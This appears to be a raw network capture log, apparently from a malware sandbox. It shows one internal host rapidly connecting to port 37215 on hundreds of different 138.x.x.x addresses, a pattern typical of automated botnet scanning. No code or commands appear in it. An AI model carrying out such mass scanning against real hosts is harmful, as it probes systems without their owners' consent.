Feb 20, 2022 15:50:58.717097044 CET	1898	37215	192.168.2.23	138.43.211.240
Feb 20, 2022 15:50:58.717116117 CET	1898	37215	192.168.2.23	138.165.174.118
Feb 20, 2022 15:50:58.717143059 CET	1898	37215	192.168.2.23	138.96.140.170
Feb 20, 2022 15:50:58.717144966 CET	1386	37215	192.168.2.23	138.207.183.14
Feb 20, 2022 15:50:58.717170000 CET	1386	37215	192.168.2.23	138.117.27.22
Feb 20, 2022 15:50:58.717190981 CET	1898	37215	192.168.2.23	138.90.187.206
Feb 20, 2022 15:50:58.717192888 CET	1898	37215	192.168.2.23	138.208.103.134
Feb 20, 2022 15:50:58.717207909 CET	1898	37215	192.168.2.23	138.174.88.170
Feb 20, 2022 15:50:58.717209101 CET	1386	37215	192.168.2.23	138.138.9.16
Feb 20, 2022 15:50:58.717227936 CET	1898	37215	192.168.2.23	138.23.151.82
Feb 20, 2022 15:50:58.717261076 CET	1898	37215	192.168.2.23	138.138.49.175
Feb 20, 2022 15:50:58.717266083 CET	1386	37215	192.168.2.23	138.10.47.139
Feb 20, 2022 15:50:58.717297077 CET	1898	37215	192.168.2.23	138.232.59.240
Feb 20, 2022 15:50:58.717312098 CET	1898	37215	192.168.2.23	138.248.218.145
Feb 20, 2022 15:50:58.717315912 CET	1386	37215	192.168.2.23	138.209.254.223
Feb 20, 2022 15:50:58.717338085 CET	1386	37215	192.168.2.23	138.219.14.202
Feb 20, 2022 15:50:58.717355013 CET	1898	37215	192.168.2.23	138.3.30.115
Feb 20, 2022 15:50:58.717359066 CET	1898	37215	192.168.2.23	138.155.70.72
Feb 20, 2022 15:50:58.717370033 CET	1898	37215	192.168.2.23	138.89.249.223
Feb 20, 2022 15:50:58.717400074 CET	1386	37215	192.168.2.23	138.153.166.128
Feb 20, 2022 15:50:58.717401028 CET	1898	37215	192.168.2.23	138.89.230.96
Feb 20, 2022 15:50:58.717417955 CET	1386	37215	192.168.2.23	138.41.235.26
Feb 20, 2022 15:50:58.717442989 CET	1898	37215	192.168.2.23	138.214.39.48
Feb 20, 2022 15:50:58.717447996 CET	1898	37215	192.168.2.23	138.200.130.181
Feb 20, 2022 15:50:58.717453003 CET	1898	37215	192.168.2.23	138.31.55.180
Feb 20, 2022 15:50:58.717472076 CET	1386	37215	192.168.2.23	138.58.119.219
Feb 20, 2022 15:50:58.717489958 CET	1898	37215	192.168.2.23	138.97.167.3
Feb 20, 2022 15:50:58.717505932 CET	1386	37215	192.168.2.23	138.225.185.26
Feb 20, 2022 15:50:58.717510939 CET	1898	37215	192.168.2.23	138.19.14.207
Feb 20, 2022 15:50:58.717529058 CET	1898	37215	192.168.2.23	138.48.50.92
Feb 20, 2022 15:50:58.717557907 CET	1386	37215	192.168.2.23	138.104.83.99
Feb 20, 2022 15:50:58.717562914 CET	1898	37215	192.168.2.23	138.115.224.96
Feb 20, 2022 15:50:58.717576981 CET	1898	37215	192.168.2.23	138.144.102.230
Feb 20, 2022 15:50:58.717595100 CET	1898	37215	192.168.2.23	138.184.203.63
Feb 20, 2022 15:50:58.717600107 CET	1386	37215	192.168.2.23	138.34.252.5
Feb 20, 2022 15:50:58.717612028 CET	1898	37215	192.168.2.23	138.227.63.19
Feb 20, 2022 15:50:58.717638016 CET	1898	37215	192.168.2.23	138.132.88.128
Feb 20, 2022 15:50:58.717648983 CET	1386	37215	192.168.2.23	138.221.159.82
Feb 20, 2022 15:50:58.717659950 CET	1898	37215	192.168.2.23	138.4.40.197
Feb 20, 2022 15:50:58.717688084 CET	1386	37215	192.168.2.23	138.12.91.159
Feb 20, 2022 15:50:58.717693090 CET	1898	37215	192.168.2.23	138.119.17.221
Feb 20, 2022 15:50:58.717729092 CET	1386	37215	192.168.2.23	138.249.226.12
Feb 20, 2022 15:50:58.717750072 CET	1898	37215	192.168.2.23	138.142.38.108
Feb 20, 2022 15:50:58.717761040 CET	1898	37215	192.168.2.23	138.162.237.61
Feb 20, 2022 15:50:58.717777967 CET	1386	37215	192.168.2.23	138.68.66.140
Feb 20, 2022 15:50:58.717782021 CET	1898	37215	192.168.2.23	138.10.4.243
Feb 20, 2022 15:50:58.717798948 CET	1898	37215	192.168.2.23	138.171.44.176
Feb 20, 2022 15:50:58.717816114 CET	1386	37215	192.168.2.23	138.48.222.199
Feb 20, 2022 15:50:58.717858076 CET	1386	37215	192.168.2.23	138.91.55.116
Feb 20, 2022 15:50:58.717860937 CET	1898	37215	192.168.2.23	138.127.109.174
Feb 20, 2022 15:50:58.717864990 CET	1898	37215	192.168.2.23	138.194.16.67
Feb 20, 2022 15:50:58.717879057 CET	1898	37215	192.168.2.23	138.192.4.90
Feb 20, 2022 15:50:58.717902899 CET	1386	37215	192.168.2.23	138.240.144.196
Feb 20, 2022 15:50:58.717915058 CET	1898	37215	192.168.2.23	138.23.213.186
Feb 20, 2022 15:50:58.717930079 CET	1898	37215	192.168.2.23	138.203.75.238
Feb 20, 2022 15:50:58.717952967 CET	1386	37215	192.168.2.23	138.11.11.161
Feb 20, 2022 15:50:58.717958927 CET	1898	37215	192.168.2.23	138.144.76.32
Feb 20, 2022 15:50:58.717978954 CET	1898	37215	192.168.2.23	138.152.122.185
Feb 20, 2022 15:50:58.717995882 CET	1386	37215	192.168.2.23	138.193.21.251
Feb 20, 2022 15:50:58.718004942 CET	1898	37215	192.168.2.23	138.237.206.89
Feb 20, 2022 15:50:58.718020916 CET	1898	37215	192.168.2.23	138.203.12.252
Feb 20, 2022 15:50:58.718029022 CET	1386	37215	192.168.2.23	138.76.186.23
Feb 20, 2022 15:50:58.718051910 CET	1898	37215	192.168.2.23	138.45.187.247
Feb 20, 2022 15:50:58.718100071 CET	1898	37215	192.168.2.23	138.111.95.112
Feb 20, 2022 15:50:58.718121052 CET	1386	37215	192.168.2.23	138.162.10.239
Feb 20, 2022 15:50:58.718122005 CET	1898	37215	192.168.2.23	138.196.137.169
Feb 20, 2022 15:50:58.718123913 CET	1386	37215	192.168.2.23	138.16.229.114
Feb 20, 2022 15:50:58.718133926 CET	1898	37215	192.168.2.23	138.134.26.76
Feb 20, 2022 15:50:58.718153000 CET	1898	37215	192.168.2.23	138.111.61.18
Feb 20, 2022 15:50:58.718163013 CET	1386	37215	192.168.2.23	138.133.98.118
Feb 20, 2022 15:50:58.718163013 CET	1898	37215	192.168.2.23	138.74.189.80
Feb 20, 2022 15:50:58.718184948 CET	1898	37215	192.168.2.23	138.218.60.151
Feb 20, 2022 15:50:58.718204975 CET	1898	37215	192.168.2.23	138.216.255.56
Feb 20, 2022 15:50:58.718206882 CET	1386	37215	192.168.2.23	138.187.193.127
Feb 20, 2022 15:50:58.718235970 CET	1898	37215	192.168.2.23	138.37.43.11
Feb 20, 2022 15:50:58.718249083 CET	1386	37215	192.168.2.23	138.117.215.205
Feb 20, 2022 15:50:58.718267918 CET	1898	37215	192.168.2.23	138.152.195.9
Feb 20, 2022 15:50:58.718274117 CET	37215	1386	138.40.174.133	192.168.2.23
Feb 20, 2022 15:50:58.718280077 CET	1386	37215	192.168.2.23	138.222.4.102
Feb 20, 2022 15:50:58.718287945 CET	1898	37215	192.168.2.23	138.184.202.160
Feb 20, 2022 15:50:58.718322039 CET	1386	37215	192.168.2.23	138.40.174.133
Feb 20, 2022 15:50:58.718324900 CET	1898	37215	192.168.2.23	138.152.203.132
Feb 20, 2022 15:50:58.718357086 CET	1386	37215	192.168.2.23	138.23.155.112
Feb 20, 2022 15:50:58.718358994 CET	1898	37215	192.168.2.23	138.175.130.119
Feb 20, 2022 15:50:58.718374968 CET	1898	37215	192.168.2.23	138.91.248.231
Feb 20, 2022 15:50:58.718390942 CET	1386	37215	192.168.2.23	138.113.158.78
Feb 20, 2022 15:50:58.718403101 CET	1898	37215	192.168.2.23	138.180.88.255
Feb 20, 2022 15:50:58.718422890 CET	1898	37215	192.168.2.23	138.166.172.169
Feb 20, 2022 15:50:58.718439102 CET	1386	37215	192.168.2.23	138.42.252.87
Feb 20, 2022 15:50:58.718446970 CET	1898	37215	192.168.2.23	138.210.36.56
Feb 20, 2022 15:50:58.718468904 CET	1898	37215	192.168.2.23	138.167.57.18
Feb 20, 2022 15:50:58.718483925 CET	1386	37215	192.168.2.23	138.17.49.153
Feb 20, 2022 15:50:58.718493938 CET	1898	37215	192.168.2.23	138.4.180.54
Feb 20, 2022 15:50:58.718512058 CET	1898	37215	192.168.2.23	138.19.34.92
Feb 20, 2022 15:50:58.718533039 CET	1386	37215	192.168.2.23	138.40.148.110
Feb 20, 2022 15:50:58.718539000 CET	1898	37215	192.168.2.23	138.76.91.10
Feb 20, 2022 15:50:58.718568087 CET	1898	37215	192.168.2.23	138.85.153.43
Feb 20, 2022 15:50:58.718595982 CET	1898	37215	192.168.2.23	138.181.197.166
Feb 20, 2022 15:50:58.718605995 CET	1386	37215	192.168.2.23	138.192.134.185
Feb 20, 2022 15:50:58.718612909 CET	1386	37215	192.168.2.23	138.102.87.222
Feb 20, 2022 15:50:58.718632936 CET	1898	37215	192.168.2.23	138.33.101.68
Feb 20, 2022 15:50:58.718652964 CET	1386	37215	192.168.2.23	138.36.131.142
Feb 20, 2022 15:50:58.718677998 CET	1898	37215	192.168.2.23	138.6.73.254
Feb 20, 2022 15:50:58.718688011 CET	1386	37215	192.168.2.23	138.42.120.131
Feb 20, 2022 15:50:58.718708992 CET	1898	37215	192.168.2.23	138.60.60.152
Feb 20, 2022 15:50:58.718734026 CET	1386	37215	192.168.2.23	138.246.195.96
Feb 20, 2022 15:50:58.718756914 CET	1898	37215	192.168.2.23	138.136.151.16
Feb 20, 2022 15:50:58.718770981 CET	1386	37215	192.168.2.23	138.74.153.21
Feb 20, 2022 15:50:58.718785048 CET	1898	37215	192.168.2.23	138.222.112.142
Feb 20, 2022 15:50:58.718791008 CET	1898	37215	192.168.2.23	138.95.44.92
Feb 20, 2022 15:50:58.718812943 CET	1898	37215	192.168.2.23	138.206.167.200
Feb 20, 2022 15:50:58.718816996 CET	1386	37215	192.168.2.23	138.222.208.8
Feb 20, 2022 15:50:58.718846083 CET	1386	37215	192.168.2.23	138.98.174.59
Feb 20, 2022 15:50:58.718857050 CET	1898	37215	192.168.2.23	138.111.52.166
Feb 20, 2022 15:50:58.718883038 CET	1898	37215	192.168.2.23	138.62.216.237
Feb 20, 2022 15:50:58.718909025 CET	1898	37215	192.168.2.23	138.224.194.163
Feb 20, 2022 15:50:58.718919039 CET	1386	37215	192.168.2.23	138.108.34.123
Feb 20, 2022 15:50:58.718934059 CET	1386	37215	192.168.2.23	138.200.97.47
Feb 20, 2022 15:50:58.718945026 CET	1898	37215	192.168.2.23	138.137.72.72
Feb 20, 2022 15:50:58.718966007 CET	1898	37215	192.168.2.23	138.188.176.29
Feb 20, 2022 15:50:58.718972921 CET	1386	37215	192.168.2.23	138.110.226.176
Feb 20, 2022 15:50:58.718990088 CET	1898	37215	192.168.2.23	138.202.109.20
Feb 20, 2022 15:50:58.719013929 CET	1386	37215	192.168.2.23	138.116.250.122
Feb 20, 2022 15:50:58.719038010 CET	1898	37215	192.168.2.23	138.251.32.12
Feb 20, 2022 15:50:58.719048023 CET	1898	37215	192.168.2.23	138.51.16.84
Feb 20, 2022 15:50:58.719064951 CET	1898	37215	192.168.2.23	138.199.118.170
Feb 20, 2022 15:50:58.719094038 CET	1386	37215	192.168.2.23	138.26.113.90
Feb 20, 2022 15:50:58.719108105 CET	1386	37215	192.168.2.23	138.239.131.83
Feb 20, 2022 15:50:58.719110966 CET	1898	37215	192.168.2.23	138.215.164.200
Feb 20, 2022 15:50:58.719131947 CET	1898	37215	192.168.2.23	138.253.186.98
Feb 20, 2022 15:50:58.719136953 CET	1386	37215	192.168.2.23	138.40.255.72
Feb 20, 2022 15:50:58.719152927 CET	1386	37215	192.168.2.23	138.91.124.116
Feb 20, 2022 15:50:58.719155073 CET	1898	37215	192.168.2.23	138.180.27.72
Feb 20, 2022 15:50:58.719186068 CET	1898	37215	192.168.2.23	138.128.49.199
Feb 20, 2022 15:50:58.719187021 CET	1386	37215	192.168.2.23	138.69.28.166
Feb 20, 2022 15:50:58.719198942 CET	1386	37215	192.168.2.23	138.61.94.240
Feb 20, 2022 15:50:58.719212055 CET	1898	37215	192.168.2.23	138.19.3.180
Feb 20, 2022 15:50:58.719225883 CET	1386	37215	192.168.2.23	138.93.59.32
Feb 20, 2022 15:50:58.719243050 CET	1386	37215	192.168.2.23	138.141.148.28
Feb 20, 2022 15:50:58.719244003 CET	1898	37215	192.168.2.23	138.102.97.34
Feb 20, 2022 15:50:58.719266891 CET	1386	37215	192.168.2.23	138.12.141.222
Feb 20, 2022 15:50:58.719280958 CET	1898	37215	192.168.2.23	138.181.246.236
Feb 20, 2022 15:50:58.719288111 CET	1898	37215	192.168.2.23	138.191.119.85
Feb 20, 2022 15:50:58.719295025 CET	1386	37215	192.168.2.23	138.131.195.95
Feb 20, 2022 15:50:58.719310999 CET	1386	37215	192.168.2.23	138.28.202.203
Feb 20, 2022 15:50:58.719321012 CET	1898	37215	192.168.2.23	138.110.80.114
Feb 20, 2022 15:50:58.719332933 CET	1386	37215	192.168.2.23	138.134.254.123
Feb 20, 2022 15:50:58.719362020 CET	1898	37215	192.168.2.23	138.135.208.223
Feb 20, 2022 15:50:58.719383955 CET	1386	37215	192.168.2.23	138.137.185.51
Feb 20, 2022 15:50:58.719388008 CET	1386	37215	192.168.2.23	138.201.156.176
Feb 20, 2022 15:50:58.719393969 CET	1386	37215	192.168.2.23	138.161.103.181
Feb 20, 2022 15:50:58.719399929 CET	1898	37215	192.168.2.23	138.32.111.47
Feb 20, 2022 15:50:58.719412088 CET	1898	37215	192.168.2.23	138.239.135.164
Feb 20, 2022 15:50:58.719418049 CET	1898	37215	192.168.2.23	138.185.24.126
Feb 20, 2022 15:50:58.719423056 CET	1386	37215	192.168.2.23	138.4.24.18
Feb 20, 2022 15:50:58.719436884 CET	1386	37215	192.168.2.23	138.232.84.163
Feb 20, 2022 15:50:58.719439030 CET	1898	37215	192.168.2.23	138.136.116.200
Feb 20, 2022 15:50:58.719460964 CET	1898	37215	192.168.2.23	138.154.30.4
Feb 20, 2022 15:50:58.719487906 CET	1386	37215	192.168.2.23	138.212.245.76
Feb 20, 2022 15:50:58.719490051 CET	1386	37215	192.168.2.23	138.7.186.245
Feb 20, 2022 15:50:58.719492912 CET	1898	37215	192.168.2.23	138.66.156.148
Feb 20, 2022 15:50:58.719510078 CET	1386	37215	192.168.2.23	138.150.155.252
Feb 20, 2022 15:50:58.719530106 CET	1898	37215	192.168.2.23	138.63.165.84
Feb 20, 2022 15:50:58.719531059 CET	1386	37215	192.168.2.23	138.109.231.98
Feb 20, 2022 15:50:58.719541073 CET	1898	37215	192.168.2.23	138.102.72.216
Feb 20, 2022 15:50:58.719556093 CET	1386	37215	192.168.2.23	138.140.40.85
Feb 20, 2022 15:50:58.719563007 CET	1898	37215	192.168.2.23	138.78.52.203
Feb 20, 2022 15:50:58.719589949 CET	1898	37215	192.168.2.23	138.6.242.121
Feb 20, 2022 15:50:58.719592094 CET	1386	37215	192.168.2.23	138.220.15.3
Feb 20, 2022 15:50:58.719598055 CET	1386	37215	192.168.2.23	138.115.32.109
Feb 20, 2022 15:50:58.719609976 CET	1898	37215	192.168.2.23	138.26.75.2
Feb 20, 2022 15:50:58.719624996 CET	1386	37215	192.168.2.23	138.157.17.185
Feb 20, 2022 15:50:58.719640017 CET	1898	37215	192.168.2.23	138.242.58.180
Feb 20, 2022 15:50:58.719649076 CET	1386	37215	192.168.2.23	138.73.207.118
Feb 20, 2022 15:50:58.719674110 CET	1898	37215	192.168.2.23	138.246.111.185
Feb 20, 2022 15:50:58.719683886 CET	1386	37215	192.168.2.23	138.203.171.128
Feb 20, 2022 15:50:58.719691038 CET	1386	37215	192.168.2.23	138.20.38.64
Feb 20, 2022 15:50:58.719713926 CET	1386	37215	192.168.2.23	138.149.173.33
Feb 20, 2022 15:50:58.719716072 CET	1898	37215	192.168.2.23	138.123.206.32
Feb 20, 2022 15:50:58.719739914 CET	1386	37215	192.168.2.23	138.24.10.104
Feb 20, 2022 15:50:58.719754934 CET	1386	37215	192.168.2.23	138.243.233.192
Feb 20, 2022 15:50:58.719760895 CET	1898	37215	192.168.2.23	138.3.22.120
Feb 20, 2022 15:50:58.719777107 CET	1898	37215	192.168.2.23	138.187.114.107
Feb 20, 2022 15:50:58.719778061 CET	1386	37215	192.168.2.23	138.68.19.27
Feb 20, 2022 15:50:58.719798088 CET	1898	37215	192.168.2.23	138.55.34.66
Feb 20, 2022 15:50:58.719800949 CET	1898	37215	192.168.2.23	138.253.31.3
Feb 20, 2022 15:50:58.719800949 CET	1386	37215	192.168.2.23	138.166.219.40
Feb 20, 2022 15:50:58.719820976 CET	1898	37215	192.168.2.23	138.2.228.104
Feb 20, 2022 15:50:58.719821930 CET	1386	37215	192.168.2.23	138.11.116.153
Feb 20, 2022 15:50:58.719849110 CET	1898	37215	192.168.2.23	138.184.249.155
Feb 20, 2022 15:50:58.719861984 CET	1386	37215	192.168.2.23	138.76.193.212
Feb 20, 2022 15:50:58.719875097 CET	1898	37215	192.168.2.23	138.62.124.168
Feb 20, 2022 15:50:58.719886065 CET	1386	37215	192.168.2.23	138.230.3.237
Feb 20, 2022 15:50:58.719891071 CET	1386	37215	192.168.2.23	138.33.86.197
Feb 20, 2022 15:50:58.719918013 CET	1898	37215	192.168.2.23	138.57.227.48
Feb 20, 2022 15:50:58.719919920 CET	1898	37215	192.168.2.23	138.194.160.174
Feb 20, 2022 15:50:58.719923973 CET	1386	37215	192.168.2.23	138.159.255.107
Feb 20, 2022 15:50:58.719950914 CET	1386	37215	192.168.2.23	138.43.16.92
Feb 20, 2022 15:50:58.719958067 CET	1898	37215	192.168.2.23	138.22.206.145
Feb 20, 2022 15:50:58.719961882 CET	1898	37215	192.168.2.23	138.144.217.231
Feb 20, 2022 15:50:58.719974041 CET	1386	37215	192.168.2.23	138.57.219.134
Feb 20, 2022 15:50:58.719990969 CET	1386	37215	192.168.2.23	138.153.199.175
Feb 20, 2022 15:50:58.720000029 CET	1898	37215	192.168.2.23	138.154.11.225
Feb 20, 2022 15:50:58.720016003 CET	1386	37215	192.168.2.23	138.212.17.151
Feb 20, 2022 15:50:58.720031977 CET	1898	37215	192.168.2.23	138.203.225.185
Feb 20, 2022 15:50:58.720041037 CET	1386	37215	192.168.2.23	138.85.153.231
Feb 20, 2022 15:50:58.720062017 CET	1386	37215	192.168.2.23	138.41.178.215
Feb 20, 2022 15:50:58.720066071 CET	1898	37215	192.168.2.23	138.76.228.167
Feb 20, 2022 15:50:58.720077991 CET	1386	37215	192.168.2.23	138.23.153.153
Feb 20, 2022 15:50:58.720108032 CET	1386	37215	192.168.2.23	138.172.139.247
Feb 20, 2022 15:50:58.720109940 CET	1898	37215	192.168.2.23	138.17.53.33
Feb 20, 2022 15:50:58.720123053 CET	1898	37215	192.168.2.23	138.74.10.150
Feb 20, 2022 15:50:58.720134974 CET	1386	37215	192.168.2.23	138.116.79.34
Feb 20, 2022 15:50:58.720151901 CET	1898	37215	192.168.2.23	138.117.64.106
Feb 20, 2022 15:50:58.720160961 CET	1386	37215	192.168.2.23	138.103.59.185
Feb 20, 2022 15:50:58.720170021 CET	1898	37215	192.168.2.23	138.172.219.195
Feb 20, 2022 15:50:58.720192909 CET	1386	37215	192.168.2.23	138.125.24.105
Feb 20, 2022 15:50:58.720199108 CET	1898	37215	192.168.2.23	138.97.128.213
Feb 20, 2022 15:50:58.720201015 CET	1386	37215	192.168.2.23	138.115.151.237
Feb 20, 2022 15:50:58.720216990 CET	1898	37215	192.168.2.23	138.109.175.243
Feb 20, 2022 15:50:58.720232010 CET	1386	37215	192.168.2.23	138.178.103.1
Feb 20, 2022 15:50:58.720242023 CET	1386	37215	192.168.2.23	138.209.3.124
Feb 20, 2022 15:50:58.720242977 CET	1898	37215	192.168.2.23	138.168.156.177
Feb 20, 2022 15:50:58.720257044 CET	1386	37215	192.168.2.23	138.51.231.58
Feb 20, 2022 15:50:58.720271111 CET	1898	37215	192.168.2.23	138.37.95.138
Feb 20, 2022 15:50:58.720287085 CET	1386	37215	192.168.2.23	138.58.106.152
Feb 20, 2022 15:50:58.720299006 CET	1898	37215	192.168.2.23	138.87.12.136
Feb 20, 2022 15:50:58.720299959 CET	1386	37215	192.168.2.23	138.7.108.210
Feb 20, 2022 15:50:58.720324039 CET	1898	37215	192.168.2.23	138.134.167.112
Feb 20, 2022 15:50:58.720324993 CET	1386	37215	192.168.2.23	138.173.129.196
Feb 20, 2022 15:50:58.720345020 CET	1386	37215	192.168.2.23	138.183.172.39
Feb 20, 2022 15:50:58.720366001 CET	1386	37215	192.168.2.23	138.121.134.113
Feb 20, 2022 15:50:58.720366001 CET	1898	37215	192.168.2.23	138.230.1.70
Feb 20, 2022 15:50:58.720390081 CET	1898	37215	192.168.2.23	138.170.70.20
Feb 20, 2022 15:50:58.720397949 CET	1386	37215	192.168.2.23	138.184.109.242
Feb 20, 2022 15:50:58.720408916 CET	1386	37215	192.168.2.23	138.140.155.58
Feb 20, 2022 15:50:58.720422029 CET	1898	37215	192.168.2.23	138.124.243.43
Feb 20, 2022 15:50:58.720443964 CET	1898	37215	192.168.2.23	138.224.40.136
Feb 20, 2022 15:50:58.720453024 CET	1386	37215	192.168.2.23	138.210.123.196
Feb 20, 2022 15:50:58.720457077 CET	1386	37215	192.168.2.23	138.99.151.225
Feb 20, 2022 15:50:58.720473051 CET	1386	37215	192.168.2.23	138.80.21.216
Feb 20, 2022 15:50:58.720485926 CET	1898	37215	192.168.2.23	138.46.2.8
Feb 20, 2022 15:50:58.720488071 CET	1898	37215	192.168.2.23	138.152.101.178
Feb 20, 2022 15:50:58.720518112 CET	1386	37215	192.168.2.23	138.145.219.230
Feb 20, 2022 15:50:58.720520973 CET	1898	37215	192.168.2.23	138.213.174.26
Feb 20, 2022 15:50:58.720541954 CET	1898	37215	192.168.2.23	138.67.194.234
Feb 20, 2022 15:50:58.720542908 CET	1386	37215	192.168.2.23	138.242.10.171
Feb 20, 2022 15:50:58.720546961 CET	1386	37215	192.168.2.23	138.175.154.45
Feb 20, 2022 15:50:58.720562935 CET	1386	37215	192.168.2.23	138.74.84.237
Feb 20, 2022 15:50:58.720568895 CET	1898	37215	192.168.2.23	138.36.72.174
Feb 20, 2022 15:50:58.720590115 CET	1386	37215	192.168.2.23	138.176.140.166
Feb 20, 2022 15:50:58.720611095 CET	1898	37215	192.168.2.23	138.153.108.235
Feb 20, 2022 15:50:58.720616102 CET	1898	37215	192.168.2.23	138.246.160.209
Feb 20, 2022 15:50:58.720621109 CET	1386	37215	192.168.2.23	138.191.4.146
Feb 20, 2022 15:50:58.720633030 CET	1386	37215	192.168.2.23	138.222.176.93
Feb 20, 2022 15:50:58.720650911 CET	1386	37215	192.168.2.23	138.77.193.102
Feb 20, 2022 15:50:58.720650911 CET	1898	37215	192.168.2.23	138.230.119.17
Feb 20, 2022 15:50:58.720669031 CET	1898	37215	192.168.2.23	138.93.122.236
Feb 20, 2022 15:50:58.720690966 CET	1386	37215	192.168.2.23	138.4.225.45
Feb 20, 2022 15:50:58.720705032 CET	1898	37215	192.168.2.23	138.146.53.29
Feb 20, 2022 15:50:58.720725060 CET	1386	37215	192.168.2.23	138.210.174.26
Feb 20, 2022 15:50:58.720730066 CET	1386	37215	192.168.2.23	138.132.75.254
Feb 20, 2022 15:50:58.720731020 CET	1898	37215	192.168.2.23	138.164.223.243
Feb 20, 2022 15:50:58.720748901 CET	1386	37215	192.168.2.23	138.221.203.88
Feb 20, 2022 15:50:58.720752001 CET	1898	37215	192.168.2.23	138.151.169.35
Feb 20, 2022 15:50:58.720768929 CET	1386	37215	192.168.2.23	138.88.171.149
Feb 20, 2022 15:50:58.720791101 CET	1386	37215	192.168.2.23	138.32.25.157
Feb 20, 2022 15:50:58.720804930 CET	1898	37215	192.168.2.23	138.222.0.69
Feb 20, 2022 15:50:58.720813036 CET	1386	37215	192.168.2.23	138.81.47.71
Feb 20, 2022 15:50:58.720814943 CET	1898	37215	192.168.2.23	138.192.179.208
Feb 20, 2022 15:50:58.720827103 CET	1898	37215	192.168.2.23	138.230.234.85
Feb 20, 2022 15:50:58.720837116 CET	1386	37215	192.168.2.23	138.40.142.109
Feb 20, 2022 15:50:58.720843077 CET	1898	37215	192.168.2.23	138.206.200.125
Feb 20, 2022 15:50:58.720860958 CET	1386	37215	192.168.2.23	138.237.22.128
Feb 20, 2022 15:50:58.720886946 CET	1386	37215	192.168.2.23	138.150.86.129
Feb 20, 2022 15:50:58.720905066 CET	1898	37215	192.168.2.23	138.50.135.92
Feb 20, 2022 15:50:58.720911980 CET	1898	37215	192.168.2.23	138.79.230.189
Feb 20, 2022 15:50:58.720912933 CET	1386	37215	192.168.2.23	138.220.233.78
Feb 20, 2022 15:50:58.720928907 CET	1386	37215	192.168.2.23	138.158.156.219
Feb 20, 2022 15:50:58.720949888 CET	1898	37215	192.168.2.23	138.242.178.217
Feb 20, 2022 15:50:58.720952034 CET	1386	37215	192.168.2.23	138.81.200.155
Feb 20, 2022 15:50:58.720961094 CET	1898	37215	192.168.2.23	138.177.64.234
Feb 20, 2022 15:50:58.720969915 CET	1386	37215	192.168.2.23	138.106.95.48
Feb 20, 2022 15:50:58.720978022 CET	1898	37215	192.168.2.23	138.125.204.224
Feb 20, 2022 15:50:58.720995903 CET	1386	37215	192.168.2.23	138.154.173.70
Feb 20, 2022 15:50:58.720995903 CET	1898	37215	192.168.2.23	138.62.44.20
Feb 20, 2022 15:50:58.721013069 CET	1386	37215	192.168.2.23	138.72.69.250
Feb 20, 2022 15:50:58.721020937 CET	1898	37215	192.168.2.23	138.158.1.57
Feb 20, 2022 15:50:58.721040010 CET	1386	37215	192.168.2.23	138.66.152.208
Feb 20, 2022 15:50:58.721041918 CET	1898	37215	192.168.2.23	138.106.132.250
Feb 20, 2022 15:50:58.721055031 CET	1386	37215	192.168.2.23	138.14.238.30
Feb 20, 2022 15:50:58.721080065 CET	1898	37215	192.168.2.23	138.188.171.84
Feb 20, 2022 15:50:58.721084118 CET	1386	37215	192.168.2.23	138.127.42.155
Feb 20, 2022 15:50:58.721101999 CET	1386	37215	192.168.2.23	138.12.225.205
Feb 20, 2022 15:50:58.721107006 CET	1898	37215	192.168.2.23	138.162.169.71
Feb 20, 2022 15:50:58.721118927 CET	1386	37215	192.168.2.23	138.44.36.18
Feb 20, 2022 15:50:58.721138000 CET	1898	37215	192.168.2.23	138.147.38.65
Feb 20, 2022 15:50:58.721148014 CET	1898	37215	192.168.2.23	138.24.59.226
Feb 20, 2022 15:50:58.721163034 CET	1898	37215	192.168.2.23	138.101.148.196
Feb 20, 2022 15:50:58.721164942 CET	1386	37215	192.168.2.23	138.15.93.233
Feb 20, 2022 15:50:58.721169949 CET	1386	37215	192.168.2.23	138.210.235.241
Feb 20, 2022 15:50:58.721209049 CET	1386	37215	192.168.2.23	138.41.138.7
Feb 20, 2022 15:50:58.721216917 CET	1386	37215	192.168.2.23	138.106.246.180
Feb 20, 2022 15:50:58.721225023 CET	1898	37215	192.168.2.23	138.18.72.250
Feb 20, 2022 15:50:58.721230030 CET	1386	37215	192.168.2.23	138.207.164.183
Feb 20, 2022 15:50:58.721235037 CET	1898	37215	192.168.2.23	138.162.58.84
Feb 20, 2022 15:50:58.721239090 CET	1898	37215	192.168.2.23	138.2.214.122
Feb 20, 2022 15:50:58.721263885 CET	1386	37215	192.168.2.23	138.86.175.190
Feb 20, 2022 15:50:58.721266031 CET	1898	37215	192.168.2.23	138.22.76.228
Feb 20, 2022 15:50:58.721299887 CET	1386	37215	192.168.2.23	138.212.50.98
Feb 20, 2022 15:50:58.721303940 CET	1898	37215	192.168.2.23	138.39.18.117
Feb 20, 2022 15:50:58.721327066 CET	1386	37215	192.168.2.23	138.34.64.124
Feb 20, 2022 15:50:58.721328974 CET	1898	37215	192.168.2.23	138.249.132.130
Feb 20, 2022 15:50:58.721342087 CET	1386	37215	192.168.2.23	138.5.153.142
Feb 20, 2022 15:50:58.721348047 CET	1898	37215	192.168.2.23	138.173.187.59
Feb 20, 2022 15:50:58.721369982 CET	1386	37215	192.168.2.23	138.101.194.78
Feb 20, 2022 15:50:58.721371889 CET	1386	37215	192.168.2.23	138.124.110.186
Feb 20, 2022 15:50:58.721373081 CET	1898	37215	192.168.2.23	138.12.214.73
Feb 20, 2022 15:50:58.721385002 CET	1898	37215	192.168.2.23	138.38.250.223
Feb 20, 2022 15:50:58.721386909 CET	1386	37215	192.168.2.23	138.5.47.98
Feb 20, 2022 15:50:58.721406937 CET	1386	37215	192.168.2.23	138.212.203.174
Feb 20, 2022 15:50:58.721429110 CET	1386	37215	192.168.2.23	138.225.130.96
Feb 20, 2022 15:50:58.721432924 CET	1898	37215	192.168.2.23	138.220.56.61
Feb 20, 2022 15:50:58.721446037 CET	1386	37215	192.168.2.23	138.32.28.188
Feb 20, 2022 15:50:58.721450090 CET	1898	37215	192.168.2.23	138.226.140.102
Feb 20, 2022 15:50:58.721476078 CET	1386	37215	192.168.2.23	138.217.217.109
Feb 20, 2022 15:50:58.721499920 CET	1898	37215	192.168.2.23	138.12.19.234
Feb 20, 2022 15:50:58.721523046 CET	1898	37215	192.168.2.23	138.84.119.202
Feb 20, 2022 15:50:58.721533060 CET	1386	37215	192.168.2.23	138.118.93.94
Feb 20, 2022 15:50:58.721540928 CET	1386	37215	192.168.2.23	138.165.249.238
Feb 20, 2022 15:50:58.721543074 CET	1898	37215	192.168.2.23	138.166.0.11
Feb 20, 2022 15:50:58.721554041 CET	1386	37215	192.168.2.23	138.6.206.130
Feb 20, 2022 15:50:58.721560001 CET	1898	37215	192.168.2.23	138.183.139.221
